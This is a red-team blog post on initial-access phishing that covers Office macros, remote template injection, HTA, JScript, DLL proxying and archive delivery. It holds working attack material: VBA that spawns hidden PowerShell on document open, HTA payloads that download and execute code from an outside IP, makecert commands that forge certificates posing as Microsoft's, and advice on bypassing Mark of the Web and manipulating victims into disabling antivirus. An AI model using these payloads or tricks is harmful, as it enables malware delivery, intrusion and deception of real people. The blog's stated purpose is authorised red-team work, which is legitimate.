A word on initial access

2022-11-16

The epitome of fun

Introduction

I’m recently dabbling with multiple topics simultaneously, including red teaming, evasion, kernel development, datastructures blah blah.
As such, I can’t really find a cool topic to blog about, and there goes two months.

Therefore! Today’s post will be more on theoretical stuff, particularly on initial access.

(forgive me I’m not the greatest meme maker)

In a red teaming context, two types of breach model exist.

One being assumed breach, which means you are given access to the network already, for example the client simulated a user clicking your initial access payload, or maybe you shipped a dropbox to the client to network join your machine.

The other model is basically a complete blackbox approach, which is when little to no access is provided, and the red team has to start externally.

In the second model, initial access is often the first real attack step, after in depth recon is performed.
The whole attack on the internal network can only start after an initial pivot point is established, and that’s how important it is.
If the team fails to gain initial access after a pre-defined period, the team lead will probably have to beg the client to switch to assumed breach ;(

To prevent that, we’ll study some techniques on initial access, with the focus on the technical part of phishing(for the human part I recommend reading Social Engineering: The Science of Human Hacking by Christopher Hadnagy, as well as Never Split the Difference: Negotiating As If Your Life Depended On It by Chris Voss).

Techniques Overview

Some popular known technique without involving the use of CVEs are:

word/excel macro phishing
word remote template injection
hta phishing
js phishing
vbs phishing
dll proxying phishing
archive phishing
website cloning

If time permits, I’ll write up on each of them and explain their pros, cons and intricacies.
Among these, my favourite will be the dll proxying attack delivered in an archive, as well as the signed js/vbs approach, as you will soon see why.

Let’s go by order.

Word/Excel Macro

This is probably the most well known and documented method, listed in every course/training’s syllabus.

Essentially, older versions of word/excel documents allow creators to attach macros to them.
A word/excel macro is a piece of VBA code that can directly interact with the host running it(unsandboxed).

Creating a macro:
View->Macros->Create
Choose Document1(our current document)
Then use the macro editor to write some hacky code.

Ways to execute command with VBA:

1	Shell “calc.exe", 0

1	CreateObject("Wscript.Shell").Run “calc.exe”, 0

1	GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create "calc.exe"

The first two will execute your command as a child process of word(might be 32-bit), while the last executes as a child process of wmiprvse.exe.
The last way is almost always preferred, since word spawning a child of anything is quite suspicious.

To execute a command with window hidden:

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = 12

Path = "powershell.exe -ep bypass " + """" + X + """"
GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create Path, Null, objConfig, Null

Where X is the malicious powershell command to run.

To invoke WinAPI functions from VBA:

1	Private Declare PtrSafe Function VirtualAlloc Lib "kernel32.dll" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

We can use this to write a pure macro shellcode loader for example, but personally spawning a powershell is much more flexible.

For word, register the AutoOpen and Document_Open subroutine to call your evil subroutine on document open.
For excel, register the Workbook_Open subroutine.

Example:

Sub evil()
do stuff
End Sub

Sub AutoOpen()
evil
End Sub

Sub Document_Open()
evil
End Sub

Finally, use a tool like Evil Clippy to hide the macro, and save it as either a .doc or .docm.

A trick to deceive the victim to click Enable Macros:

Pretend to send them a file with “encrypted” contents, and trick them to enable macros/editing to “decrypt” the contents.
Once enabled, clear the document with

ActiveDocument.Content.Select
Selection.Delete
then replace with intended text:
Dim decrypted As String

decrypted = "THIS IS MY DECRYPTED TEXT" & vbNewLine & "ON A NEW LINE" & vbNewLine & "END"

ActiveDocument.Content.Select
Selection.Delete
Selection.InsertAfter Text:=decrypted
Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
Selection.Collapse

Macro phishing is old, and is getting killed off by Microsoft soon anyways.
https://www.bleepingcomputer.com/news/microsoft/microsoft-plans-to-kill-malware-delivery-via-office-macros/
With this update, regular users are never going to figure out how to enable macros.

Even for now, the default word format is .docx, which does not support macros.
Sending your victim a .doc or .docm file is just suspicious, and may raise alerts going through email filters.

Good job to Microsoft I guess!

However that does not mean Word access techniques are completely dead.
Once in a while when a CVE pops up(see CVE-2022-30190, or more commonly known as Follina), Word will be an excellent vector again.

If you insist on using Word Macro now, my advise will be:

Account for both 32 and 64 bit
Use dotnet reflection instead of Add-Type if you utilise powershell to prevent disk artifacts

Word Remote Template Injection

Moving on, another technique you can do with Word is called remote template injection.
This sounds like a web attack technique, but is actually also a common initial access vector.

Instead of embedding the macro in the document directly which may be scanned by AV, Remote Template Injection is a technique where an attacker sends a benign document to a victim, which downloads and loads a malicious template.

This template may hold a macro, leading to code execution.

Open Word, create a new blank document and insert your desired macro.
Save this as a Word 97-2003 Template (*.dot) file.
This is now our “malicious remote template”.
Host this file somewhere downloadable.

When crafting your phishing document, create a new document from the blank template located in C:\Users\<user>\Documents\Custom Office Templates

After saving it, browse to the phishing document in explorer, right-click and select 7-Zip > Open archive.
Navigate to word > _rels, right-click on settings.xml.rels and select Edit.

This is just a small XML file. Scroll right until you see the Target entry.

1	Target="file:///C:\Users\<user>\Documents\Custom%20Office%20Templates\Blank%20Template.dotx"

It’s currently pointing to the template on our local disk from which the document was created.

Simply modify this so it points to the template URL instead.

1	Target="http://website/template.dot"

Save those changes and deliver the document.

Once the file is opened, you’ll see a warning about macros again but allowing them to run will execute the macro in the hosted template, giving us code execution.

This technique relies on macros again, so it works but it isn’t the cleanest technique.

HTA Phishing

HTA(HTML Application) is a Windows program whose source code consists of HTML and one or more scripting languages supported by Internet Explorer (vbs, js)

This allows users to develop a web-like UI on the desktop.

HTAs execute out of the browser sandbox, so it can directly interact with the host machine.

HTAs are executed using mshta.exe, which is typically installed along with IE.

If IE is uninstalled, the default handler for HTAs will be uninstalled too, and the system will not be able to execute them.

Example HTA:

<html>
  <head>
    <title>Hello World</title>
  </head>
  <body>
    <h2>Hello World</h2>
    <p>This is an HTA...</p>
  </body>

  <script language="VBScript">
    Function Pwn()
      Set shell = CreateObject("wscript.Shell")
      shell.run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/external.css'))""", 0
    End Function

    Pwn
  </script>
</html>

The 32 bit version of mshta runs by default, so if we used a 64 bit payload, it won’t work.

To fix this, either use 32 bit payload(terrible on 64 bit machine) or force mshta to use the 64 bit version of powershell by providing the full path of 64 bit powershell.exe

When using full path, do C:\Windows\sysnative instead of C:\Windows\System32, because the latter will actually redirect to C:\Windows\SysWOW64 if the program is 32 bit.

sysnative is a 32 bit alias for system32.

A more robust solution could be to perform an architecture check in the HTA or an intermediate PowerShell script and invoke the correct payload for the target.

Function Pwn()
  Set shell = CreateObject("wscript.Shell")

  If shell.ExpandEnvironmentStrings("%PROCESSOR_ARCHITECTURE%") = "AMD64" Then
    shell.run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.120/a'))"""
  Else
    shell.run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.120/b'))"""
  End If

End Function

By default, Outlook has filetype filtering in place that will prevent you from attaching certain files to emails (including HTAs).

That being said, I can’t remember the last time I saw a HTA used to do legitimate stuff.

A non-tech user might be more familiar with like a js file, rather than HTA.

Leading to my next topic, js/vbs phishing.

Before that, I’ll digress and talk a bit about MOTW and code signing.

MOTW

Any file downloaded via a browser (outside of a trusted zone) will be tainted with the “Mark of the Web” (MOTW).

This is a data stream that gets embedded into the file which says it was downloaded from an untrusted location.

The zone data can be read with PowerShell.

1	Get-Content .\test.txt -Stream Zone.Identifier

The possible zones are:

0 => Local computer

1 => Local intranet

2 => Trusted sites

3 => Internet

4 => Restricted sites

Files with MOTW are handled with additional security scrutiny - you may be familiar with both Windows SmartScreen and Office Protected View.

They often don’t stop files from being opened or executed, but they require the user to click through more warning boxes which lower the likelihood of your phish being successful.

Last month(October 2022), three zero days regarding MOTW was found in the wild.

Windows does not apply MOTW to the contents of ISO and similar containers.
Windows does not apply MOTW to read only files in zips.
js files signed with an invalid authenticode bypasses MOTW.

The first two are patched in the following November’s Patch Tuesday as CVE-2022-41091 and CVE-2022-41049 respectively, while the last is still unfixed at time of writing.

Code Signing

Code siging means adding a digital signature to your payload, whether it’s .exe or .js .jse .vbs .sys .dll

Microsoft terms it Authenticode

In modern day malware development, code signing is huge.

A valid digital signature means easier to blend in, less alerting EDRs, harder for blue teamers and even easier to phish(bypasses MOTW).

To get your code signed, you need a digital certificate.

A digital certificate can be procured in three ways.

1. Buying one officially

I’m not gonna talk about this, but you can essentially pay some money, register and get your code signed if you are actually a legitimate company/social engineer the officials.

2. Creating your own certificate

You can create your own self signed certificates with some tools.

These four steps to be specific:

Self signed CA:

makecert -r -pe -n "CN = Microsoft Root Certificate Authority 2010,O = Microsoft Corporation,L = Redmond,S = Washington,C = US" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv CA.pvk CA.cer

Self signed cert:

makecert -pe -n "CN=Microsoft Windows Production PCA 2011,O = Microsoft Corporation,L = Redmond,S = Washington,C = US" -a sha256 -cy end -sky signature -eku 1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.24,1.3.6.1.4.1.311.10.3.6 -ic CA.cer -iv CA.pvk -sv SPC.pvk SPC.cer

Convert to PFX:

1	pvk2pfx -pvk SPC.pvk -spc SPC.cer -pfx SPC.pfx

Sign binary:

1	signtool sign /v /f SPC.pfx <executable>

Documentation can be found all around.

3. Stealing leaked certificates

From time to time you can find leaked certificates on the internet.

An example of a leaked certificate will be the recent Nvidia breach by Lapsus$.

Stealing a legitimate verified certificate is a double edged sword.

If not flagged, it can be extremely useful in phishing attempts, bypassing MOTW and makes your payload look super legitimate.

If the signature is widely used and browsers have flagged it however, it will raise additional alerts as the browser will refuse to download it.
(It’s possible to bypass this behaviour, as mentioned in the Archive Phishing section).

JS/VBS Phishing

In this section I’ll talk about phishing with JS and VBS, with the focus and examples on JS since both are essentially identical.

Jscript is a dialect of JavaScript developed and owned by Microsoft that is used in Internet Explorer.
It can also be executed outside the browser through the Windows-Based Script Host, which can execute scripts in a variety of languages.

When executed outside of a web browser, Jscript is not subjected to any of the security restrictions enforced by a browser sandbox.
This means we can use it as a client-side code execution vector.

The default handler for .js files and .jse(js encoded) files is the Windows-Based Script Host.

This means that if we double-click a .js/.jse file, the contained code will be executed, allowing us to interact with the older ActiveX technology and the Windows-Based Script Host engine itself.

For example, we can instantiate a Shell object named “shell” from the WScript.Shell class through the ActiveXObject constructor to run cmd.exe through the Run command:

1 2	var shell = new ActiveXObject("WScript.Shell"); var res = shell.Run("cmd.exe");

The Windows-Based Script Host exits as soon as the JScript file is complete so we don’t see it in Process Explorer.

As of November 2022, signing a js/jse file with an invalid authenticode can bypass MOTW.
(See https://mobile.twitter.com/wdormann/status/1582458287915573249)

Furthermore, a signed js file, even with a widely signatured authenticode, will not trigger browser warnings when downloading.

The only difference between .js and .jse is that attempting to download a .jse file from google chrome will pop a warning, because the file type is quite rare.

This technique works like a charm when phishing people with a little knowledge of tech(know what js is).

A possible scenario will be after rapport building, send them a js file for them to check your design.

Could be for a website, could be a portfolio or whatever fits the pretext.

After receiving the file, they’ll probably instinctively double click it to try to view it.(I blame Microsoft for conditioning their users like this)

Your payload should do its thing, migrate to another process, overwrite the initial js file with actual javascript code and open it up in notepad to seem like the user successfully opened it.

If you don’t sign the file, a warning window will pop up, and the phishing will probably fail.

DLL Proxying Phishing

DLL Proxying is a persistence technique, where you rename a legitimate DLL into something else, and create a malicious DLL in place where it does evil stuff upon load, and forwards all calls to the renamed DLL.

Example:

#pragma comment(linker, "/export:legitFunction1=legitDLL.legitFunction1")
#pragma comment(linker, "/export:legitFunction2=legitDLL.legitFunction2")

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        MessageBoxA(NULL, "Hi from malicious dll", "Hi from malicious dll", 0);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

However, it’s not recommended to perform complicated tasks(such as thread creation) in DLLMain lest a loader deadlock occurs.

A cleaner alternative will be to actually implement one of the functions called, blend malicious code in, forward the rest of the functions and leave DLLMain short and sweet.

We use it for phishing in the scenario where we are providing softwares to the victim.

We ship the victim an archive consisting of the legitimate, benign signed executable and its complementing DLLs, but replace one of the DLL as a proxy.

This way, the EXE will bypass all AV scans, including signature and hash checks, but the DLL will load and pwn.

Archive Phishing

This is not a phishing technique per se, but a delivery technique.

Most of the time, we will want to compress our files into an archive before sending to the victim for brevity and some possible good happenings.

ISOs and ZIPs are common file formats used to deliver payloads.

ISOs look slightly more suspicious, but browsers like chrome will actually not scan its contents as compared to a ZIP.

That means you can forge sign an executable, place it in an ISO and it will bypass chrome’s detection.

Another benefit is that common third party unarchiving tools like 7Zip and WinRar does not propagate MOTW to the contents of the archive by default at time of writing.

This is huge, as we essentially get a free MOTW bypass by archiving our payload.

Self Extracting Archives(SFX) are also a vector of choice.

A SFX is an archive that comes with a batch script meant to auto unarchive child archives within it.

That means we can ship the user a SFX that contains a decoy document, and a malicious payload archived in another password protected SFX.

When the user clicks, the batch file executes, opens the decoy, unarchives the password protected SFX, and runs the malware.

Website Cloning

Nah that’s probably illegal to write about since multiple service abuses are involved.

Figure it out yourself ;)

Conclusion

Regardless of your payload, it’s the human part of phishing that matters the most.

The main aim is to leave your victim/client with no “buyer’s remourse”, so they don’t think back at their interaction with you and have a bad day.

That being said, don’t attempt mass spraying phishing mails, or deliver the payload before the third interaction.

Rapport building takes time, and with the right pretext, you can send a vanilla meterpreter loader and get them to disable AV obediently.

Every human is unique.

Do your recon well, practise empathy and pwn.